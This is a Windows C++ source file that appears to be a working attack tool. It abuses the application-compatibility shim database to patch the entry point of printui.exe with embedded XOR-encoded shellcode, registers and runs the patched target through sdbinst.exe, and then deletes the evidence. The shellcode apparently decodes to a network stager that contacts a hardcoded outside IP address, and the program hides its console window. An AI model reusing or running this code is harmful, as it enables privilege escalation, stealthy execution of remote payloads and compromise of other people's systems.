p5.cpp

#include "Windows.h"  
#include "stdio.h"  
#include "apphelp.h"  
#include "MyAPI.h"

#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" ) // 设置入口地址

UACMECONTEXT g_ctx;

unsigned char bufx86[] = {
    0xD9, 0xCC, 0xD9, 0x34, 0x24, 0x5A, 0x5A, 0x5A, 0x5A, 0x83, 0xC2, 0x1A, 0x33, 0xC9, 0x81, 0xC1,
    0x43, 0x03, 0x00, 0x00, 0x80, 0x32, 0xC3, 0x42, 0xE2, 0xFA, 0x3F, 0x2B, 0x4A, 0xC3, 0xC3, 0xC3,
    0xA3, 0x4A, 0x26, 0xF2, 0x11, 0xA7, 0x48, 0x91, 0xF3, 0x48, 0x91, 0xCF, 0x48, 0x91, 0xD7, 0x48,
    0xB1, 0xEB, 0xCC, 0x74, 0x89, 0xE5, 0xF2, 0x3C, 0xF2, 0x03, 0x6F, 0xFF, 0xA2, 0xBF, 0xC1, 0xEF,
    0xE3, 0x02, 0x0C, 0xCE, 0xC2, 0x04, 0x21, 0x33, 0x91, 0x94, 0x48, 0x91, 0xD3, 0x48, 0x81, 0xFF,
    0xC2, 0x13, 0x48, 0x83, 0xBB, 0x46, 0x03, 0xB7, 0x89, 0xC2, 0x13, 0x93, 0x48, 0x8B, 0xDB, 0x48,
    0x9B, 0xE3, 0xC2, 0x10, 0x20, 0xFF, 0x8A, 0x48, 0xF7, 0x48, 0xC2, 0x15, 0xF2, 0x3C, 0xF2, 0x03,
    0x6F, 0x02, 0x0C, 0xCE, 0xC2, 0x04, 0xFB, 0x23, 0xB6, 0x37, 0xC0, 0xBE, 0x3B, 0xF8, 0xBE, 0xE7,
    0xB6, 0x21, 0x9B, 0x48, 0x9B, 0xE7, 0xC2, 0x10, 0xA5, 0x48, 0xCF, 0x88, 0x48, 0x9B, 0xDF, 0xC2,
    0x10, 0x48, 0xC7, 0x48, 0xC2, 0x13, 0x4A, 0x87, 0xE7, 0xE7, 0x98, 0x98, 0xA2, 0x9A, 0x99, 0x92,
    0x3C, 0x23, 0x9B, 0x9C, 0x99, 0x48, 0xD1, 0x28, 0x45, 0x9E, 0xAB, 0xAD, 0xA6, 0xB7, 0xC3, 0xAB,
    0xB4, 0xAA, 0xAD, 0xAA, 0x97, 0xAB, 0x8F, 0xB4, 0xE5, 0xC4, 0x3C, 0x16, 0x2B, 0xC3, 0xC3, 0xC3,
    0xC3, 0xF2, 0x3C, 0x94, 0x94, 0x94, 0x94, 0x94, 0xAB, 0xF9, 0x95, 0xBA, 0x64, 0x3C, 0x16, 0x2A,
    0x67, 0xC3, 0xC3, 0xC3, 0x98, 0xF2, 0x0A, 0x92, 0x92, 0xA9, 0xC0, 0x92, 0x92, 0xAB, 0x78, 0xC2,
    0xC3, 0xC3, 0x90, 0x93, 0xAB, 0x94, 0x4A, 0x5C, 0x05, 0x3C, 0x16, 0x93, 0x2A, 0x4F, 0xC3, 0xC3,
    0xC3, 0x98, 0xF2, 0x11, 0x91, 0xAB, 0xC3, 0xF1, 0x03, 0x47, 0x91, 0x91, 0x91, 0x90, 0x91, 0x93,
    0xAB, 0x28, 0x96, 0xED, 0xF8, 0x3C, 0x16, 0x4A, 0x05, 0x40, 0x00, 0x93, 0xAB, 0x43, 0xF0, 0xC3,
    0xC3, 0x4A, 0x23, 0xA9, 0xC7, 0x93, 0xA9, 0xDC, 0x95, 0xAB, 0xB6, 0x85, 0x5D, 0x45, 0x3C, 0x16,
    0x9C, 0xF2, 0x3C, 0x94, 0x94, 0xA9, 0x3C, 0x90, 0x95, 0xAB, 0xEE, 0xC5, 0xDB, 0xB8, 0x3C, 0x16,
    0x46, 0x03, 0xCC, 0x47, 0x09, 0xC2, 0xC3, 0xC3, 0xF2, 0x3C, 0x46, 0x35, 0xB7, 0xC7, 0x4A, 0x3A,
    0x28, 0xCA, 0xAB, 0x69, 0x06, 0x21, 0x9E, 0x3C, 0x16, 0x4A, 0x02, 0xAB, 0x86, 0xE2, 0x9D, 0xF2,
    0x3C, 0x16, 0xF2, 0x3C, 0x94, 0xA9, 0xC4, 0x92, 0x95, 0x93, 0xAB, 0x74, 0x94, 0x23, 0xC8, 0x3C,
    0x16, 0x7C, 0xC3, 0xEC, 0xC3, 0xC3, 0xFA, 0x04, 0xB6, 0xC4, 0x9B, 0x93, 0x2A, 0xB8, 0x3C, 0x3C,
    0x3C, 0xF2, 0x3C, 0x2A, 0x52, 0xC2, 0xC3, 0xC3, 0x2A, 0x0A, 0xC2, 0xC3, 0xC3, 0x2B, 0xAC, 0x3C,
    0x3C, 0x3C, 0xEC, 0xA9, 0x8F, 0x8F, 0x99, 0xC3, 0xF6, 0x8C, 0xE2, 0x93, 0xE6, 0x83, 0x82, 0x93,
    0x98, 0xF7, 0x9F, 0x93, 0x99, 0x9B, 0xF6, 0xF7, 0xEB, 0x93, 0x9D, 0xEA, 0xF4, 0x80, 0x80, 0xEA,
    0xF4, 0xBE, 0xE7, 0x86, 0x8A, 0x80, 0x82, 0x91, 0xEE, 0x90, 0x97, 0x82, 0x8D, 0x87, 0x82, 0x91,
    0x87, 0xEE, 0x82, 0x8D, 0x97, 0x8A, 0x95, 0x8A, 0x91, 0x96, 0x90, 0xEE, 0x97, 0x86, 0x90, 0x97,
    0xEE, 0x85, 0x8A, 0x8F, 0x86, 0xE2, 0xE7, 0x8B, 0xE8, 0x8B, 0xE9, 0xC3, 0xF6, 0x8C, 0xE2, 0x93,
    0xE6, 0xC3, 0x96, 0xB0, 0xA6, 0xB1, 0xEE, 0x82, 0xA4, 0xA6, 0xAD, 0xB7, 0xF9, 0xE3, 0x8E, 0xAC,
    0xB9, 0xAA, 0xAF, 0xAF, 0xA2, 0xEC, 0xF6, 0xED, 0xF3, 0xE3, 0xEB, 0xA0, 0xAC, 0xAE, 0xB3, 0xA2,
    0xB7, 0xAA, 0xA1, 0xAF, 0xA6, 0xF8, 0xE3, 0x8E, 0x90, 0x8A, 0x86, 0xE3, 0xFA, 0xED, 0xF3, 0xF8,
    0xE3, 0x94, 0xAA, 0xAD, 0xA7, 0xAC, 0xB4, 0xB0, 0xE3, 0x8D, 0x97, 0xE3, 0xF5, 0xED, 0xF2, 0xF8,
    0xE3, 0x94, 0x8C, 0x94, 0xF5, 0xF7, 0xF8, 0xE3, 0x97, 0xB1, 0xAA, 0xA7, 0xA6, 0xAD, 0xB7, 0xEC,
    0xF6, 0xED, 0xF3, 0xF8, 0xE3, 0x85, 0xB6, 0xAD, 0x94, 0xA6, 0xA1, 0x93, 0xB1, 0xAC, 0xA7, 0xB6,
    0xA0, 0xB7, 0xB0, 0xEA, 0xCE, 0xC9, 0xC3, 0xF6, 0x8C, 0xE2, 0x93, 0xE6, 0x83, 0x82, 0x93, 0x98,
    0xF7, 0x9F, 0x93, 0x99, 0x9B, 0xF6, 0xF7, 0xEB, 0x93, 0x9D, 0xEA, 0xF4, 0x80, 0x80, 0xEA, 0xF4,
    0xBE, 0xE7, 0x86, 0x8A, 0x80, 0x82, 0x91, 0xEE, 0x90, 0x97, 0x82, 0x8D, 0x87, 0x82, 0x91, 0x87,
    0xEE, 0x82, 0x8D, 0x97, 0x8A, 0x95, 0x8A, 0x91, 0x96, 0x90, 0xEE, 0x97, 0x86, 0x90, 0x97, 0xEE,
    0x85, 0x8A, 0x8F, 0x86, 0xE2, 0xE7, 0x8B, 0xE8, 0x8B, 0xE9, 0xC3, 0xF6, 0x8C, 0xE2, 0x93, 0xE6,
    0x83, 0x82, 0x93, 0x98, 0xF7, 0x9F, 0x93, 0x99, 0x9B, 0xF6, 0xF7, 0xEB, 0x93, 0x9D, 0xEA, 0xF4,
    0x80, 0x80, 0xEA, 0xF4, 0xBE, 0xE7, 0x86, 0x8A, 0x80, 0x82, 0x91, 0xEE, 0x90, 0x97, 0x82, 0x8D,
    0x87, 0x82, 0x91, 0x87, 0xEE, 0x82, 0x8D, 0x97, 0x8A, 0x95, 0x8A, 0x91, 0x96, 0x90, 0xEE, 0x97,
    0x86, 0x90, 0x97, 0xEE, 0x85, 0x8A, 0x8F, 0x86, 0xE2, 0xE7, 0x8B, 0xE8, 0x8B, 0xE9, 0xC3, 0xF6,
    0x8C, 0xE2, 0x93, 0xE6, 0x83, 0x82, 0x93, 0x98, 0xF7, 0x9F, 0x93, 0x99, 0x9B, 0xF6, 0xF7, 0xEB,
    0x93, 0x9D, 0xEA, 0xF4, 0x80, 0x80, 0xEA, 0xF4, 0xBE, 0xE7, 0x86, 0x8A, 0x80, 0x82, 0x91, 0xEE,
    0x90, 0x97, 0x82, 0x8D, 0x87, 0x82, 0x91, 0x87, 0xEE, 0x82, 0x8D, 0x97, 0x8A, 0x95, 0x8A, 0x91,
    0x96, 0x90, 0xEE, 0x97, 0x86, 0x90, 0x97, 0xEE, 0x85, 0x8A, 0x8F, 0x86, 0xE2, 0xE7, 0x8B, 0xE8,
    0x8B, 0xC3, 0xAB, 0x33, 0x76, 0x61, 0x95, 0x3C, 0x16, 0xA9, 0x83, 0xAB, 0xC3, 0xD3, 0xC3, 0xC3,
    0xAB, 0xC3, 0xC3, 0x83, 0xC3, 0x94, 0xAB, 0x9B, 0x67, 0x90, 0x26, 0x3C, 0x16, 0x50, 0x7A, 0xC3,
    0xC3, 0xC3, 0xC3, 0xC2, 0x1A, 0x92, 0x90, 0x4A, 0x24, 0x94, 0xAB, 0xC3, 0xE3, 0xC3, 0xC3, 0x90,
    0x95, 0xAB, 0xD1, 0x55, 0x4A, 0x21, 0x3C, 0x16, 0x46, 0x03, 0xB7, 0x05, 0x48, 0xC4, 0xC2, 0x00,
    0x46, 0x03, 0xB6, 0x26, 0x9B, 0x00, 0x2B, 0x4A, 0x3E, 0x3C, 0x3C, 0xFB, 0xF1, 0xED, 0xF2, 0xF6,
    0xF5, 0xED, 0xF1, 0xFB, 0xED, 0xF2, 0xF7, 0xF2, 0xC3, 0xC3, 0xC3, 0xC3, 0xC3
};


DWORD QueryEntryPointRVA(
    _In_ LPWSTR lpImageFile
)
{
    PVOID                       ImageBase;
    PIMAGE_DOS_HEADER           pdosh;
    PIMAGE_FILE_HEADER          pfh1;
    PIMAGE_OPTIONAL_HEADER      poh;
    DWORD                       epRVA = 0;

    if (lpImageFile == NULL) {
        return 0;
    }

    ImageBase = LoadLibraryExW(lpImageFile, 0, DONT_RESOLVE_DLL_REFERENCES);
    if (ImageBase) {

        pdosh = (PIMAGE_DOS_HEADER)ImageBase;
        pfh1 = (PIMAGE_FILE_HEADER)((ULONG_PTR)ImageBase + (pdosh->e_lfanew + sizeof(DWORD)));
        poh = (PIMAGE_OPTIONAL_HEADER)((ULONG_PTR)pfh1 + sizeof(IMAGE_FILE_HEADER));

        //AddressOfEntryPoint is in standard fields.
        epRVA = poh->AddressOfEntryPoint;

        FreeLibrary((HMODULE)ImageBase);
    }
    return epRVA;
}

BOOL LoadAppHelpFunctions(HMODULE hAppHelp, PAPPHELP_API pAppHelp) {
    if (!(pAppHelp->SdbBeginWriteListTag =
        (SdbBeginWriteListTagPtr)GetProcAddress(hAppHelp, "SdbBeginWriteListTag")))
        return FALSE;
    if (!(pAppHelp->SdbCloseDatabase =
        (SdbCloseDatabasePtr)GetProcAddress(hAppHelp, "SdbCloseDatabase")))
        return FALSE;
    if (!(pAppHelp->SdbCloseDatabaseWrite =
        (SdbCloseDatabaseWritePtr)GetProcAddress(hAppHelp, "SdbCloseDatabaseWrite")))
        return FALSE;
    if (!(pAppHelp->SdbCommitIndexes =
        (SdbCommitIndexesPtr)GetProcAddress(hAppHelp, "SdbCommitIndexes")))
        return FALSE;
    if (!(pAppHelp->SdbCreateDatabase =
        (SdbCreateDatabasePtr)GetProcAddress(hAppHelp, "SdbCreateDatabase")))
        return FALSE;
    if (!(pAppHelp->SdbDeclareIndex =
        (SdbDeclareIndexPtr)GetProcAddress(hAppHelp, "SdbDeclareIndex")))
        return FALSE;
    if (!(pAppHelp->SdbEndWriteListTag =
        (SdbEndWriteListTagPtr)GetProcAddress(hAppHelp, "SdbEndWriteListTag")))
        return FALSE;
    if (!(pAppHelp->SdbStartIndexing =
        (SdbStartIndexingPtr)GetProcAddress(hAppHelp, "SdbStartIndexing")))
        return FALSE;
    if (!(pAppHelp->SdbStopIndexing =
        (SdbStopIndexingPtr)GetProcAddress(hAppHelp, "SdbStopIndexing")))
        return FALSE;
    if (!(pAppHelp->SdbWriteBinaryTag =
        (SdbWriteBinaryTagPtr)GetProcAddress(hAppHelp, "SdbWriteBinaryTag")))
        return FALSE;
    if (!(pAppHelp->SdbWriteDWORDTag =
        (SdbWriteDWORDTagPtr)GetProcAddress(hAppHelp, "SdbWriteDWORDTag")))
        return FALSE;
    if (!(pAppHelp->SdbWriteQWORDTag =
        (SdbWriteQWORDTagPtr)GetProcAddress(hAppHelp, "SdbWriteQWORDTag")))
        return FALSE;
    if (!(pAppHelp->SdbWriteStringTag =
        (SdbWriteStringTagPtr)GetProcAddress(hAppHelp, "SdbWriteStringTag")))
        return FALSE;

    return TRUE;
}



BOOL RegisterAndRunTarget(
    _In_ LPWSTR lpShimDbPath,
    _In_ LPWSTR lpTarget,
    _In_ BOOL IsPatch
)
{
    BOOL bResult = FALSE;
    WCHAR szSdbinstPath[MAX_PATH * 2];
    WCHAR szCmd[MAX_PATH * 4];

    if ((lpTarget == NULL) ||
        (lpShimDbPath == NULL)) return bResult;

    RtlSecureZeroMemory(szSdbinstPath, sizeof(szSdbinstPath));
#ifdef _WIN64
    _strcpy(szSdbinstPath, USER_SHARED_DATA->NtSystemRoot);
    _strcat(szSdbinstPath, SYSWOW64_DIR);
    _strcat(szSdbinstPath, SDBINST_EXE);
#else
    _strcpy_w(szSdbinstPath, g_ctx.szSystemDirectory);
    _strcat_w(szSdbinstPath, L"\\");
    _strcat_w(szSdbinstPath, SDBINST_EXE);
#endif

    RtlSecureZeroMemory(szCmd, sizeof(szCmd));
    if (IsPatch) {
        _strcpy_w(szCmd, L"-p ");
        _strcat_w(szCmd, lpShimDbPath);
    }
    else {
        _strcpy_w(szCmd, lpShimDbPath);
    }

    //
    // Register shim, sdbinst.exe
    //
    if (supRunProcess(szSdbinstPath, szCmd)) {
        RtlSecureZeroMemory(szCmd, sizeof(szCmd));
#ifdef _WIN64
        _strcpy(szCmd, USER_SHARED_DATA->NtSystemRoot);
        _strcat(szCmd, SYSWOW64_DIR);
#else
        _strcpy_w(szCmd, g_ctx.szSystemDirectory);
#endif
        _strcat_w(szCmd, L"\\");
        _strcat_w(szCmd, lpTarget);
        bResult = supRunProcess(szCmd, NULL);

        //remove database
        RtlSecureZeroMemory(szCmd, sizeof(szCmd));
        _strcpy_w(szCmd, L"/q /u ");
        _strcat_w(szCmd, lpShimDbPath);
        supRunProcess(szSdbinstPath, szCmd);
        DeleteFile(lpShimDbPath);
    }
    return bResult;
}

BOOL ShimPatch(
)
{
    BOOL bResult = FALSE, cond = FALSE;
    PDB	 hpdb;
    GUID dbGUID, exeGUID;

    WCHAR szShimDbPath[MAX_PATH * 2]{};
    WCHAR szBuffer[MAX_PATH * 2]{};

    DWORD indexid = MAXDWORD;
    DWORD sz;
    DWORD epRVA = 0;
    TAGID       dbrf, libref, patchref, exeref, matchfileref, patchfileref;
    PBYTE       tmp;
    PPATCHBITS  patchbits;


    HMODULE hAppHelp = LoadLibrary(L"apphelp.dll");
    APPHELP_API api = { 0 };
    if (!LoadAppHelpFunctions(hAppHelp, &api)) {
        wprintf(L"[-]Failed to load apphelp api!\n");
        return 1;
    }

    do {

        if ((CoCreateGuid(&dbGUID) != S_OK) ||
            (CoCreateGuid(&exeGUID) != S_OK)) {
            return bResult;
        }

        RtlSecureZeroMemory(szShimDbPath, sizeof(szShimDbPath));
        _strcpy_w(szShimDbPath, g_ctx.szTempDirectory);
        _strcat_w(szShimDbPath, L"inazuma");
        _strcat_w(szShimDbPath, L".sdb");
        hpdb = api.SdbCreateDatabase(szShimDbPath, DOS_PATH);
        if (hpdb == NULL)
            break;

        if (!api.SdbDeclareIndex(hpdb, TAG_EXE, TAG_NAME, 1, TRUE, &indexid))
            break;

        if (!api.SdbStartIndexing(hpdb, indexid))
            break;

        api.SdbStopIndexing(hpdb, indexid);
        api.SdbCommitIndexes(hpdb);

        // begin DATABASE {
        dbrf = api.SdbBeginWriteListTag(hpdb, TAG_DATABASE);
        if (!api.SdbWriteStringTag(hpdb, TAG_NAME, L"inazuma"))
            break;

        api.SdbWriteBinaryTag(hpdb, TAG_DATABASE_ID, (PBYTE)&dbGUID, sizeof(GUID));
        api.SdbWriteDWORDTag(hpdb, TAG_OS_PLATFORM, 0x1); //<- win32

        // begin LIBRARY {
        libref = api.SdbBeginWriteListTag(hpdb, TAG_LIBRARY);

        patchref = api.SdbBeginWriteListTag(hpdb, TAG_PATCH); // begin LIBRARY-PATCH
        api.SdbWriteStringTag(hpdb, TAG_NAME, BINARYPATH_TAG);

        // query EP RVA for target
        RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
        _strcpy_w(szBuffer, g_ctx.szSystemDirectory);
        _strcat_w(szBuffer, L"\\");
        _strcat_w(szBuffer, PRINTUI_EXE);

        epRVA = QueryEntryPointRVA(szBuffer);
        if (epRVA == 0)
            break;
        
        tmp = (PBYTE)HeapAlloc(g_ctx.ucmHeap, HEAP_ZERO_MEMORY, 32 * 1024);
        if (tmp != NULL) {
            patchbits = (PPATCHBITS)tmp;
            sz = 0;
            patchbits->Opcode = PATCH_REPLACE;
            patchbits->RVA = epRVA;
            _strcpy_w(patchbits->ModuleName, PRINTUI_EXE);
            supCopyMemory((char*)&patchbits->Pattern, sizeof(bufx86), bufx86, sizeof(bufx86));
            patchbits->PatternSize = sizeof(bufx86);
            patchbits->ActionSize = (DWORD)(sizeof(PATCHBITS) + patchbits->PatternSize);
            sz += patchbits->ActionSize;
            api.SdbWriteBinaryTag(hpdb, TAG_PATCH_BITS, tmp, sz);
            HeapFree(g_ctx.ucmHeap, 0, tmp);
        }
        api.SdbEndWriteListTag(hpdb, patchref); // end LIBRARY-PATCH

        // end LIBRARY
        api.SdbEndWriteListTag(hpdb, libref);

        api.SdbStartIndexing(hpdb, indexid);

        // begin EXE {
        exeref = api.SdbBeginWriteListTag(hpdb, TAG_EXE);
        api.SdbWriteStringTag(hpdb, TAG_NAME, PRINTUI_EXE);
        api.SdbWriteStringTag(hpdb, TAG_APP_NAME, PRINTUI_EXE);
        api.SdbWriteBinaryTag(hpdb, TAG_EXE_ID, (PBYTE)&exeGUID, sizeof(GUID));

        // begin MATCH {
        matchfileref = api.SdbBeginWriteListTag(hpdb, TAG_MATCHING_FILE);
        api.SdbWriteStringTag(hpdb, TAG_NAME, PRINTUI_EXE);
        api.SdbWriteStringTag(hpdb, TAG_COMPANY_NAME, MSFT_FULL);
        api.SdbEndWriteListTag(hpdb, matchfileref); // } end MATCH

        patchfileref = api.SdbBeginWriteListTag(hpdb, TAG_PATCH_REF);
        api.SdbWriteStringTag(hpdb, TAG_NAME, BINARYPATH_TAG);
        api.SdbWriteDWORDTag(hpdb, TAG_PATCH_TAGID, patchref);
        api.SdbEndWriteListTag(hpdb, patchfileref);

        api.SdbEndWriteListTag(hpdb, exeref); // } end EXE

        // } end DATABASE
        api.SdbEndWriteListTag(hpdb, dbrf);

        api.SdbCloseDatabaseWrite(hpdb);

        // Register db and run target.
        bResult = RegisterAndRunTarget(
            szShimDbPath,
            (LPWSTR)PRINTUI_EXE,
            TRUE);

    } while (cond);

    return bResult;
}

BOOL Init()
{
    BOOL Result = TRUE;

    g_ctx.ucmHeap = GetProcessHeap();

    WCHAR strTMP[] = { '%','t','e', 'm', 'p', '%', '\\',0 };
    ExpandEnvironmentStrings(strTMP, g_ctx.szTempDirectory, MAX_PATH); //L"%temp%\\"

    GetSystemDirectoryW(g_ctx.szSystemDirectory, MAX_PATH);

 
    return Result;

}

int main(int argc, char* argv[]) {

    Init();
    ShimPatch();
    return 0;
}